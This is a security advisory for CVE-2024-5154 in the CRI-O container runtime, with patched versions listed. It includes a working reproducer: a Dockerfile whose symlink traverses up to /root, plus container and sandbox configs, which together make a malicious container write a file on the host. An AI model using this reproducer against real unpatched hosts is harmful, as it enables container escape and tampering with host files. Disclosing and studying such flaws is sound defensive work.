CVE-2024-5154: Cri-o: malicious container can create symlink on host

Impact A malicious container can affect the host by taking advantage of code cri-o added to show the container mounts on the host.

A workload built from this Dockerfile: FROM docker.io/library/busybox as source RUN mkdir /extra && cd /extra && ln -s ../../../../../../../../root etc

FROM scratch

COPY --from=source /bin /bin COPY --from=source /lib /lib COPY --from=source /extra .

and this container config:

{ "metadata": { "name": "busybox" }, "image":{ "image": "localhost/test" }, "command": [ "/bin/true" ], "linux": { } }

and this sandbox config { "metadata": { "name": "test-sandbox", "namespace": "default", "attempt": 1, "uid": "edishd83djaideaduwk28bcsb" }, "linux": { "securitycontext": { "namespaceoptions": { "network": 2 } } } }

will create a file on host /host/mtab

Patches 1.30.1, 1.29.5, 1.28.7

Workarounds Unfortunately not

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